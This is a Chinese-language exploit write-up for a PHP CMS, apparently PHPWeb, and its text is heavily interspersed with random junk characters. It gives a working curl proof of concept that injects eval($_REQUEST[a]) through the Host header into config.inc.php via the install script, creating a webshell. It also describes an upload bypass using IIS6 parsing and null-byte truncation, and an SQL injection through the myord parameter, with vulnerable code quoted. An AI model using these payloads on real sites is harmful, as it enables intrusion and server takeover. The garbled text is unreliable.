注入:
- ^+ o! g$ x; B- y) i& O
! p+ C4 V1 B0 g9 j" o- k- _" n之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码 ]4 L* F; l: u8 n+ U7 M7 Q
8 S$ q1 m' ?$ _% Y
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件; e( e* k( t9 c2 B& W+ V
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
0 I6 J' i2 v s' x( c* }% }. I % b, ?! \. P- X- W4 t* w6 `
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响3 d0 P* E9 G* j/ i/ F; j. ?9 _% z3 s
5 H u6 B# Z$ Q: T分析:1 X8 W. O" o; p. {
5 l7 }2 ]6 N3 V4 v$ c " r! q4 R9 r/ Z4 y, X/ S( `
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤- H8 S/ s# ]5 [# I( q
& }% W) Q% G+ n3 Y $filestr = fread(fopen($SysConfigFile, 'r'),30000);
8 S) o0 G* B3 H6 }. R" p$ \7 Y $filestr=str_replace(" ","",$filestr);/ N# m: r+ G- P6 Y. {5 R& E
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
4 U9 w1 M- F$ `9 F9 b) ]+ C $filestr=str_replace("DefaultDbName",$dbname,$filestr);' ^# O# [7 u5 I1 ~7 u; p
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
- H$ _" c& O+ Q $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
3 o( Q! c. ]2 [7 G9 C- U $filestr=str_replace("DefaultsLan","zh_cn",$filestr);, X2 |- e% X& k# P$ J0 p. B
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr); K5 F+ X8 A7 V9 Z2 N- F! ?
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
# L& Z. `1 T/ S( d M
( Y2 j/ ]" w& q% g fwrite(fopen($ConFile,"w"),$filestr,30000);/ D( Y! j9 F. C2 V9 d1 U9 e- E- Q
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
/ J( I: n2 j, N& q 5 p; K- ~! W$ Z: V! X
poc:. i! i& b: m' ] S& Z0 Y/ Y
( i& [: ~2 K2 e1 J6 C$ _?
p2 [& v, i5 p1 Y! I11 f/ r! u5 o- N' I
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": r; `. {$ g5 \2 I) [
shell地址: /config.inc.php+ P1 Q% ` D/ \; @, T0 m, p( D+ x3 X
跟之前的 phpcms一样 需要远程数据库" e( Y: I, q5 l/ v; j; `
- Q% a; R+ R2 {1 a
——————————————————–
5 O) \$ ^$ G$ F1 `4 x上传漏洞(需要进后台):" n3 r9 T% b- S3 R
漏洞文件: /kedit/upload_cgi/upload.php
0 c6 T. c4 }- p. b% S: E# n& ~# I这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
' k) D- X( c5 p& v b1 g 5 Z, o0 C# d( \8 k" r4 t. l
7 H2 r; {% g0 z; o- Y$ x<?php
" [, E7 A# p5 B' q% g define("ROOTPATH", "../../");
, z/ [: F1 i) s- ] include(ROOTPATH."includes/admin.inc.php");
: P$ l% c, O" G3 @( G) l+ v NeedAuth(0);( U& Z% U( f( A7 P
! B3 ?. Y9 {1 Q$ x8 C) i# a! X
$dt=date("Ymd",time());
- g: X! T' O. O' ? if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
+ C8 B1 D* x. ?" n& ~3 _6 D5 q& z& ` @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
9 w! _5 a/ @ w: \" m/ B, Y }
3 M1 q- J; [4 t. k' T. K7 U% |0 b
9 {5 o* N. T! M$ j& g //文件保存目录路径( l5 D* u8 L8 H! {+ |0 u6 m
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';2 L& I Y4 |1 ~; @* L
echo $save_path;
7 G9 _1 [# S. y //文件保存目录URL
+ v) p m/ q+ Q $save_url = '../../'.$_POST['attachPath'].$dt.'/';
& L4 ^6 e( t7 b* a7 X
2 Z1 n# s+ H; E //定义允许上传的文件扩展名2 O' y% C6 B. t3 s# }
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 _0 k; e3 `6 o* {& h: U( v% } 8 b6 h4 d. h8 k+ E/ `+ L/ L
//最大文件大小
; T) Z: H1 [* T0 K $max_size = 1000000;! X4 {7 _4 x( K4 C: Q" N4 e
) L" ^/ p1 u' F! K2 ~; e( Q //更改目录权限% r+ T9 B% i3 s* T k
@mkdir($save_path, 0777);$ |% h) k8 w, S: u
+ r4 E: \% B" ?5 |& o
//文件的全部路径. H5 ~2 ^# Y/ a
$file_path = $save_path.$_POST['fileName']; //保存文件名
* \. M% P8 e* b; @- @
! k% D% p; U( F" H# w2 g$ v* A2 D5 P //文件URL
: h4 l1 r) M. E" D2 K3 t $file_url = $save_url.$_POST['fileName'];7 o" C% G2 D) I
//有上传文件时1 e6 r6 F6 I2 n& x# u
if (empty($_FILES) === false) {
& e+ p9 I' n; z8 |
( ^& C3 O- Q# t1 T //原文件名6 Z7 d9 m% F; @) {- C; M1 E" s
$file_name = $_FILES['fileData']['name'];& F- t; |# `, _, B( _' m# t% h2 S
//服务器上临时文件名
7 p6 |$ [& u- u; a* v$ k $tmp_name = $_FILES['fileData']['tmp_name'];
% s- [4 \+ [; Z" v+ L3 o. F' p //文件大小
6 |7 y% U. F% O) ^9 ~3 O) V8 \ $file_size = $_FILES['fileData']['size'];- a% c( h0 x# C6 B4 d5 x3 ~& U
//检查目录
# s5 U5 b9 z M if (@is_dir($save_path) === false) {# C' s: `9 F3 Q& g2 H. f
alert("上传目录不存在。");
# [4 ^5 H; _$ |2 X- H i5 U }
+ N7 E1 Z: Y7 ^5 l9 j //检查目录写权限! Q0 h& d4 T3 V; d3 z& b
if (@is_writable($save_path) === false) {
: Z4 O) H% Y) n6 t alert("上传目录没有写权限。");
( K/ y- s# l8 H4 L% \2 q }
# e: j1 B8 a# K //检查是否已上传
2 u& w* |% l5 a$ A- } if (@is_uploaded_file($tmp_name) === false) {6 ~4 Y2 k, L5 U7 \ R
alert("临时文件可能不是上传文件。");7 K ^- s3 P3 g, q7 Z9 G
}4 H3 h4 M* O I; E5 U0 I5 y2 \5 i$ F
//检查文件大小& c' _% u" W/ u8 x/ R
if ($file_size > $max_size) {. c+ n7 i: w6 T( T8 \! e
alert("上传文件大小超过限制。");
- p! x7 N$ J( y }0 L3 D4 N% U$ Z- F" p* U
//获得文件扩展名
! J1 g. h, k+ J/ z: ?5 K. s* i" z $temp_arr = explode(".", $_POST['fileName']);
/ d9 I. w3 S- X2 M4 \. G $file_ext = array_pop($temp_arr);5 Q- T9 O3 j) ]; P5 J) C
$file_ext = trim($file_ext); a8 ^( W, K9 X. t
$file_ext = strtolower($file_ext);& s0 Y8 A. p* I
h5 q2 w# q5 d5 E. G5 g0 x; s
//检查扩展名
5 t9 ~6 a6 h- C: {$ Z1 F$ b: u if (in_array($file_ext, $ext_arr) === false) { . U3 F5 x& J; C
alert("上传文件扩展名是不允许的扩展名。");
+ N+ m' d" o" _8 Z$ a1 a; K/ q }
, G- T2 J' H+ P/ B1 z/ R 5 U! T; U- e3 y0 O
//移动文件
* f2 h9 U y7 M% [ T$ P //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^9 I0 B; f5 E6 q( G0 U0 x+ w8 x
if (move_uploaded_file($tmp_name, $file_path) === false) {
) J B. R3 t9 t; U: z' @ alert("上传文件失败。");
f9 ?) b, T6 V$ m- U {5 }% I }- }1 a. g2 t8 y- f3 `
& j! ^5 L, c9 m* \# Z3 b
@chmod($file_path,0666);) p& k* P/ ]; n+ b
) ]; o: t7 w5 F1 s4 d6 |. y
?>
4 J& m3 T$ z' y0 O抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227- v4 G2 Y$ t1 R
! P/ x+ [' h p4 v4 japache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
. Z$ K+ m9 K& A
$ l. c5 v2 a+ g) x; p——————————————————, V1 Q7 G1 ^, ]# M
注入漏洞:* {9 A! @9 [# V+ a
漏洞文件:search/module/search.php
+ z3 ^- V- H T1 F/ ~# k$ U/search/index.php?key=1&myord=1 [sqlinjection]
; x+ T2 ?& L- c, P. y
5 W g" W) u& g% L+ ?
- a4 q9 L; }0 m$ ?! [<?php
& q! g7 p4 e, t* i // ... 省略 n 行...
& |6 l( b7 ~0 K9 B) ]2 p- e3 W //第18行:* J$ n1 x" Q: S
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响. d$ F4 p; o- T8 @' T
$page=htmlspecialchars($_GET["page"]);; u, ~, M) B+ S, O* ?! r( ~
$myord=htmlspecialchars($_GET["myord"]);; g9 W! @% f( {2 C- R+ G
# L ^& x- v" z5 n8 P" j // ... 省略 n 行...
' f" v1 |0 H- a6 n9 | $key,$myord 两个参数带入查询
# [: i: a9 [+ u; x //第47行 $key:5 P* s7 A2 m4 j7 s; t9 {
1 t" a" G6 `: P& p0 s $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..' \" D( f+ h7 Y7 ?0 {# l! _) c
0 ?/ i) @7 ~ X. U! E( f //第197行 $myord# q/ a4 Y b6 ^
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入2 f& F6 a' h, V+ k. K Q4 x
/ J9 T/ a% ~- s* R
?>
+ r u. H; w2 H Y) p) x# ` |